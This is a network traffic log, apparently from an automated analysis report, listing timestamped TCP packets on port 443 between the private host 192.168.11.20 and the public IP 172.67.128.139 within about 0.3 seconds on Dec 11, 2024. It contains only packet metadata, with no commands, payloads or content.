Dec 11, 2024 12:44:35.594697952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.594697952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.594724894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.594736099 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.594805002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.594877958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.597212076 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.597233057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.597383976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.597436905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.597436905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.597459078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.597583055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.599229097 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.599251986 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.599399090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.599467993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.599467993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.599490881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.599647045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.601079941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.601099968 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.601229906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.601258039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.601258039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.601279020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.601308107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.601385117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.601483107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.602277994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.602828026 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.602854967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.603043079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.603146076 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.603168964 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.603416920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.605353117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.605371952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.605470896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.605520964 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.605520964 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.605534077 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.605614901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.605743885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.607503891 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.607527018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.607656002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.607702017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.607702017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.607722044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.607753992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.607753992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.607873917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.609313965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.609337091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.609479904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.609479904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.609524965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.609543085 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.609620094 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.609726906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.611299038 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.611324072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.611474037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.611496925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.611498117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.611510038 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.611571074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.611666918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.613683939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.613707066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.613890886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.613917112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.613935947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.613935947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.614049911 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.615590096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.615612984 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.615755081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.615756035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.615801096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.615818024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.615854025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.615899086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.616017103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.617571115 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.617594004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.617747068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.617747068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.617773056 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.617789984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.617841959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.617940903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.619484901 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.619508028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.619663000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.619663000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.619688988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.619699001 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.619816065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.619837999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.620419979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.620618105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.620666981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.620714903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.620732069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.674794912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.697633028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.813755989 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.813792944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.813946962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.813946962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.813987970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.814038992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.814129114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.814173937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.815711021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.815747976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.815910101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.815910101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.815942049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.816035986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.816116095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.817593098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.817636967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.817745924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.817745924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.817789078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.817810059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.817837000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.817888975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.817986965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.819557905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.819597006 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.819732904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.819797993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.819797993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.819818974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.820008039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.821439028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.821475029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.821590900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.821590900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.821738005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.821758986 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.821928024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.824083090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.824124098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.824265957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.824292898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.824292898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.824307919 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.824359894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.824469090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.825115919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.825809002 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.825845003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.825968981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.826035023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.826057911 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.826086044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.826205969 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.827799082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.827841997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.827949047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.828033924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.828033924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.828068972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.828095913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.828247070 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.828355074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.829766035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.829806089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.829938889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.829938889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.829982996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.829998970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.830032110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.830032110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.830156088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.831810951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.831851959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.831979990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.831979990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.832022905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.832045078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.832071066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.832122087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.832220078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.834109068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.834146976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.834284067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.834284067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.834330082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.834347010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.834378958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.834378958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.834538937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.835927010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.835967064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.836155891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.836155891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.836189032 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.836415052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.837882996 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.837924004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.838041067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.838041067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.838083982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.838083982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.838107109 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.838130951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.838257074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.839862108 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.839905024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.840019941 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.840049982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.840049982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.840066910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.840152025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.840260029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.842669010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.842709064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.842899084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.842899084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.842941046 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.842961073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.843184948 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.844120026 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.844160080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.844275951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.844275951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.844321012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.844341993 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.844372988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.844470978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.844537973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.846071005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.846291065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.846332073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.846473932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.846473932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.846517086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.846538067 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.846618891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.846743107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.848880053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.848917007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.849060059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.849060059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.849090099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.849102974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.849163055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.849163055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.849252939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.850754023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.850785971 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.850935936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.850936890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.850974083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.850996971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.851061106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.851104021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.852623940 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.852658987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.852788925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.852865934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.852879047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.852911949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.853024006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.854295969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.854331017 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.854521036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.854521036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.854556084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.854626894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.854691029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.857112885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.857147932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.857253075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.857295990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.857295990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.857325077 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.857345104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.857443094 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.857527971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.859004021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.859041929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.859158993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.859158993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.859205961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.859205961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.859225988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.859292030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.859410048 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.860929966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.860965014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.861082077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.861082077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.861128092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.861128092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.861140966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.861229897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.861304998 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.862790108 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.862832069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.862957954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.862957954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.863002062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.863025904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.863054037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.863101006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.863198996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.865137100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.865174055 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.865283966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.865283966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.865326881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.865341902 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.865426064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.865552902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.867125034 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.867161036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.867275000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.867321014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.867321014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.867350101 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.867371082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.867417097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.867585897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.869015932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.869052887 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.869211912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.869211912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.869241953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.869306087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.869378090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.870954037 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.870991945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.871149063 CET	49757	443	192.168.11.20	172.67.128.139
